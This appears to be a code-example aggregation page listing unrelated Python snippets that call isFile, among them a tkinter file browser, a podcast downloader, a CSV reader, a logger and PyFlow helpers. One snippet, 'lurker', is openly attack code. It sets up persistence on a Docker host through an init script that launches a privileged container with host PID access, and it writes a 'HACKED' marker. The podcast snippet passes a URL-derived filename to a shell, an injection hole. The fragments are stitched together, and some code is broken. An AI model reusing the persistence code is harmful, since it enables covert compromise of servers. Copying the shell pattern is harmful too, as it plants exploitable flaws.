def changeDirectory(self, dir):
        try:
            os.chdir(dir)
            self._directory = os.getcwd()
            self.pathbox.delete('0.0', tk.END)
            self.pathbox.insert(tk.INSERT, self._directory)
            self.filebox.delete('0', tk.END)
            self._files = []
            self._folders = []
            self._folders.append('..')
            for x in os.listdir('.'):
                if path.isFile(x):
                    self._files.append(x)
                else:
                    self._folders.append(x)
            for x in self._folders:
                self.addNewFileboxFolder(tk.END, x)

            if self._mode in [FILE, FILES, MIXED, EITHER]:
                for x in self._files:
                    self.filebox.insert(tk.END, x)
        except Exception as e:
            global a
            a.append(e)
            print(e)
示例#2
0
 def _fileValidator(self, x, default):
     if x is None:
         return default
     if not path.isFile(x):
         return default
     if not self._allowSymlinks and path.islink(x):
         return default
     return x
 def pathEntered(self, event=None):
     a = os.path.expandvars(self.pathbox.get('0.0', tk.END)[:-1])
     if path.isFolder(a):
         self.changeDirectory(a)
     elif path.isFile(a):
         self._returnVariable.set([os.getcwd() + '\\' + a])
     else:
         self.notfound(a)
     return 'break'
示例#4
0
def dlPodcast(podcast, startlink, endlink):
    opener = urllib2.build_opener()
    url_opener = opener.open(podcast)
    page = url_opener.read()
    html = str(bs(page))
    startLink = html.find(startlink)
    endLink = html.find(endlink, startLink)
    podcastUrl = html[startLink:endLink]
    print "Downloading Podcast just wait"
    try:
        mp3file = urllib2.urlopen(podcastUrl)
        fileName = podcastUrl.split("/")[-1]
        if isFile(fileName):
            subprocess.call(["xdg-open " + fileName], shell=True)
        else:
            output = open(fileName, "wb")
            output.write(mp3file.read())
            output.close()
            subprocess.call(["xdg-open " + fileName], shell=True)

    except Exception:
        print "Error in dlPodcast"
示例#5
0
def lurker(hostname, port, username, password, persist=False):

    open_client(hostname=hostname,
                port=port,
                username=username,
                password=password)

    #check if the persist file exists in the init.d directory
    if path.isFile("/etc/init.d/persist"):
        print("Lurking whale is Lurking")
        pass
    else:

        #Thanks to Micheal Cherny and Sagie Dulce for their work on this
        file_contents = "#!/sbin/openrc-run\ndepend()\n{\n\tneed docker\n " \
                        "\tbefore killprocs \n" \
                        "\tbefore mount-ro \n" \
                        "\tbefore savecache\n}\n" \
                        "\nstart()\n" \
                        "}\n" \
                        "\tMS=\"\$(cat /etc/init.d/myscript.sh)\"\n" \
                        "\tdocker run -e MYSCRIPT =\"$MS\"" \
                        "--privelged=true" \
                        "--pid=host" \
                        "--name-shadow" \
                        "--restart=on-failure" \
                        "d4w/nsender /bin/sh -c \"\$MS\"\n)\n > /etc/init.d/persist"

        if system("! -z $MYSCRIPT"):
            system("echo {0} > /etc/init.d/myscript.sh".format(file_contents))

        system("chmod +x /etc/init.d/myscript.sh")
        system("chmod +x /etc/init.d/persist")
        system("rc-update add /etc/init.d/persist/ shutdown")
        system("rc-update -u")
        system("echo HACKED > /SHADOW")
        # if persist:
        system("docker rm -f shadow")
示例#6
0
def readDutiesPerformedFile():

    # Create the output
    dutiesPerformed = {}

    # Check if the file exists
    if isFile("./data/dutiesPerformed.csv"):

        # Load the file
        dutiesPerformedFile = open("./data/dutiesPerformed.csv")

        # Construct the list of duties
        dutyList = dutiesPerformedFile.readline()[:-1].split(",")[1:]

        # For each RA, define which duties they have done
        for line in dutiesPerformedFile.readlines():
            if line[-1] == "\n": line = line[:-1]
            splitLine = line.split(",")

            # Define the RA duties performed
            RADutiesPerformed = {}

            # Attach the count for each duty to the RADutiesPerformed dictionary
            i = 0
            for dutyCount in splitLine[1:]:
                RADutiesPerformed[dutyList[i]] = int(dutyCount)
                i += 1

            # Attach the RA duties performed to the dutiesPerformed dictionary
            dutiesPerformed[splitLine[0]] = RADutiesPerformed

        # Close the file
        dutiesPerformedFile.close()

    # Return the constructed dutiesPerformed file
    return dutiesPerformed
示例#7
0
    def initLogFile(self, log_filename_postfix = None, \
                                 log_filename_extension = None, \
                                 path_to_log = None):
        """ PRIVATE """

        if not log_filename_postfix:
            log_filename_postfix = self.log_filename_postfix;

        if not log_filename_extension:
            log_filename_extension = self.log_filename_extension;

        if not path_to_log:
            path_to_log = self.path_to_log;

        self.the_day = self.timeStamp()[:10];
        self.log_file_name = "{}/{}_{}.{}".\
        format(
                    path_to_log,
                    self.the_day,
                    log_filename_postfix,
                    log_filename_extension
                  );
        if not isFile(self.log_file_name):
            self.writeDown("The log file created. \n ----------------------------------------------- \n\n");
示例#8
0
 def load(self, arg):
     if outside.isFile(arg):
         parse.loadxml(arg)
示例#9
0
 def isFile(path=("StringPin", "", {PinSpecifires.INPUT_WIDGET_VARIANT: "PathWidget"})):
     '''Return True if path is an existing regular file. This follows symbolic links, so both islink() and isfile() can be true for the same path.'''
     return osPath.isFile(path)
示例#10
0
文件: PathLib.py 项目: kthulhu/PyFlow
 def isFile(path=("StringPin", "", {"inputWidgetVariant": "PathWidget"})):
     '''Return True if path is an existing regular file. This follows symbolic links, so both islink() and isfile() can be true for the same path.'''
     return osPath.isFile(path)